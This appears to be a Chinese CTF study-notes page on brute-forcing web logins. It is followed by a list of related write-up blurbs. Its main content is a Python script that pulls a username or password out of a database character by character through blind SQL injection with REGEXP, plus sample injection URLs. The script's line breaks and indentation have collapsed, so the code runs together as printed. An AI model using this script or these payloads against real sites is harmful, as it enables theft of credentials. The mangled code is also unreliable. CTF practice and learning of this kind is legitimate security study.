CTF web题总结--爆破用户名密码

1、burp爆破用户名密码
2、id，userid，useId多试几次
3、爆破后台目录，index.php,users.php,login.php,flag.php
4、脚本：

# -*- coding:utf-8 -*-
import httplib
import re
import urllibclass Attacker:def __init__(self, mode, url):self.url = urlself.domin = self.get_domin()self.mode = modestr1 = []for i in range(26):str1.append(chr(ord('a') + i))for i in range(26):str1.append(chr(ord('A') + i))for i in range(10):str1.append(chr(ord('0') + i))self.str_box = str1def get_domin(self):url = self.urlurl_a = url.split('://')if re.match('^http',url_a[0]):url = url_a[1]else:url = url_a[0]url_a = url.split('/')domin = url_a[0]return domindef crack(self):conn = httplib.HTTPConnection(self.domin)if self.mode == 1:aim = 'username'if self.mode == 2:aim = 'password'url = self.urlattack_url1 = urllib.quote('\' or ' + aim + ' regexp \'')attack_url2 = urllib.quote('\' #')str_box = self.str_boxtry:string = '^'while True:for str_end in str_box:url_to_attack = url + attack_url1 + string + str_end + attack_url2 #print url_to_attackconn.request(method="GET", url=url_to_attack)response = conn.getresponse()res = response.read()if res.find('useless') > 0:string = string + str_endstr_end = -1print string[1:] #如果想看到破进程，取消此段注释breakif str_end != -1 and str_end == '9': breakself.name = stringprint self.name[1:]except:print "Something Wrong"print urldef main():attack_url = 'http://10.200.91.28/zebCTF/users.php?userId=2'attacker = Attacker(2, attack_url) #1为用户名注入，2为密码注入attacker.crack()if __name__ == '__main__':main()

正则注入

userId=2%27%20or username REGEXP '^A' %23
userId=2%27%20or username REGEXP '^a' %23
userId=2%27%20or username REGEXP '^Z' %23

CTF web题总结--爆破用户名密码相关推荐

CTF Web题部分WP
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...
华三防火墙添加web用户_h3c防火墙用户名密码怎么样设置
h3c防火墙对我们用处非常大!那么h3c防火墙用户名和密码该怎么样设置呢?下面由小编给你做出详细的h3c防火墙用户名密码设置介绍!希望对你有帮助! h3c防火墙用户名密码设置一: 你先命令行登陆防火墙 ...
i春秋python_i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
hxp 36C3 CTF Web题 WriteupBin Writeup (Selenium模拟点击+Content Security Policy+Nonce+Parsley.js触发错误提示)
WriteupBin – A web challenge from hxp 36C3 CTF https://ctftime.org/event/825 题目部署本地搭建: 解压WriteupBin ...
mysql 南邮ctf_南邮ctf web题记录（上）
1.签到题 f12看源码就行了. md5 collision 题目贴出了源码,按照题意,a不等于QNKCDZO但是md5与QNKCDZO的md5相等时就可以获得flag. 如果两个字符经MD5加密后的 ...
CTF web题总结--LFI
本地文件包含漏洞(Local File Include),是php的include()函数存在设计缺陷,学习链接:php文件包含漏洞总结题目的url都是类似这种: http://127.0.0.1/ ...
攻防世界web题ics-06(爆破id值)
打开界面:嚯!这花里胡哨点来点去只有报表中心有回显: 发现url中id等于1,sql注入尝试无果, burp工具爆破id 对id的值进行爆破 burp报ERROR的话这是个bug,先点击Hex后点d ...
CTF web题 wp：
1.签到题火狐F12查看源码,发现注释: 一次base64解码出flag 2.Encode 在这里插入图片描述和第一题界面一样?? 轻车熟路f12: 发现编码: 格式看上去是base64,连续两次 ...
四个有关文件传输的CTF WEB题(深育杯FakeWget、极客大挑战where_is_my_FUMO、2021陇原战疫CheckIN、N1CTF-curl trick)
文章目录深育杯FakeWget 极客大挑战where_is_my_FUMO 2021陇原战疫CheckIN N1CTF-curl trick wp来自官方发布和个人想法,觉得这四个题挺有意思的所以整 ...

CTF web题总结--爆破用户名密码

CTF web题总结--爆破用户名密码相关推荐

最新文章

热门文章